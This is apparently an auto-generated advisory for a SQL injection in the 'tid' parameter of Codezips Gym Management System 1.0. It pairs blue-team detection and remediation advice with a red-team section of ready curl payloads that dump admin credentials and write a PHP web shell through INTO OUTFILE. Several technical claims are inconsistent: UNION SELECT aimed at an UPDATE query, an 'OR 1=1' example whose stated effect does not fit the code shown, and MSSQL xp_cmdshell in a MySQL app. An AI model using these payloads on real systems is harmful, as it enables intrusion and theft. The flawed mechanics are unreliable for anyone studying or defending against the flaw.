CVE-2025-1188

Executive Summary

CVE-2025-1188 is a critical SQL injection vulnerability discovered in Codezips Gym Management System version 1.0. The flaw resides in the /dashboard/admin/updateroutine.php file, where the tid parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some configurations, remote code execution via stacked queries or xp_cmdshell (if MSSQL is used). The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete database records.
• Availability (A): High (H) – Potential for denial of service via SQL injection.

Threat Level: Critical. The combination of remote exploitability, low complexity, and no required privileges makes this a high-priority target for attackers.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the updateroutine.php script. The application likely constructs a SQL query by directly concatenating the tid parameter from the HTTP request (likely GET or POST) without any sanitization or parameterized queries.

Vulnerable Code Flow (Hypothetical):

// updateroutine.php (vulnerable)
$tid = $_GET['tid']; // or $_POST['tid']
$query = "UPDATE routines SET ... WHERE tid = $tid";
$result = mysqli_query($conn, $query);

An attacker can manipulate the tid parameter to break out of the intended SQL syntax. For example:

GET /dashboard/admin/updateroutine.php?tid=1' OR '1'='1

This would result in the query:

UPDATE routines SET ... WHERE tid = 1' OR '1'='1

This would update all rows in the routines table, demonstrating a basic injection. More advanced payloads can be used for data extraction, authentication bypass, or command execution.

Database Backend: The application likely uses MySQL or MariaDB. If the database user has FILE privileges, an attacker could use INTO OUTFILE to write a web shell. If xp_cmdshell is enabled (MSSQL), remote command execution is possible.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

// updateroutine.php (vulnerable)
$tid = $_GET['tid'];
$query = "UPDATE routines SET routine_name='$_POST[routine_name]', ... WHERE tid = $tid";
$result = mysqli_query($conn, $query);

Patched Code (Recommended):

// updateroutine.php (patched)
$tid = intval($_GET['tid']); // Force integer type
$stmt = $conn->prepare("UPDATE routines SET routine_name=?, ... WHERE tid = ?");
$stmt->bind_param("si", $_POST['routine_name'], $tid);
$stmt->execute();

The patched version uses:

1. Input validation: intval() ensures $tid is an integer.
2. Parameterized queries: Prepared statements with bound parameters prevent SQL injection entirely.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Codezips Gym Management System 1.0.
• Network access to the /dashboard/admin/updateroutine.php endpoint.

Exploitation Steps:

1. Verify Vulnerability:

   curl -v "http://target.com/dashboard/admin/updateroutine.php?tid=1'"
   

   Look for a SQL error in the response (e.g., "You have an error in your SQL syntax").

2. Extract Database Version:

   curl "http://target.com/dashboard/admin/updateroutine.php?tid=1 UNION SELECT 1,@@version,3,4-- -"
   

3. Extract Table Names (MySQL):

   curl "http://target.com/dashboard/admin/updateroutine.php?tid=1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -"
   

4. Dump User Credentials:

   curl "http://target.com/dashboard/admin/updateroutine.php?tid=1 UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM admin_users-- -"
   

5. Write Web Shell (if FILE privilege exists):

   curl "http://target.com/dashboard/admin/updateroutine.php?tid=1 UNION SELECT 1,'<?php system($_GET[\"cmd\"]); ?>',3,4 INTO OUTFILE '/var/www/html/shell.php'-- -"
   

No Exploit-DB code was provided.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to /dashboard/admin/updateroutine.php containing SQL keywords (UNION, SELECT, OR, --, #, ').
• Look for abnormal response sizes or SQL error messages in HTTP responses.

Hardening:

• Apply the patched code (parameterized queries) immediately.
• If patching is not possible, implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Restrict database user privileges (e.g., remove FILE privilege).
• Use a database firewall to monitor and block suspicious queries.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /dashboard/admin/updateroutine.php with unusual tid parameter values.
• SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Outbound database connections from the web server to unexpected IPs.

File System IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified .htaccess files.
• New cron jobs or systemd services.

Log IOCs:

• Web server logs showing SQL injection patterns.
• Database logs showing UNION, SELECT, INTO OUTFILE statements from the web application user.

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: If possible, take the vulnerable application offline or behind a VPN.
2. Apply virtual patching: Use a WAF to block SQL injection patterns.
3. Restrict database access: Ensure the database user used by the application has minimal privileges (no FILE, CREATE, DROP, ALTER).

Long-Term Fix:

1. Rewrite the code: Replace all dynamic SQL queries with parameterized prepared statements.
2. Input validation: Validate all user inputs (e.g., tid should be an integer).
3. Upgrade: If the vendor releases a patch, apply it immediately. If not, consider migrating to a supported alternative.

Monitoring:

• Enable detailed logging for the web server and database.
• Set up alerts for SQL injection patterns.
• Regularly review logs for signs of compromise.
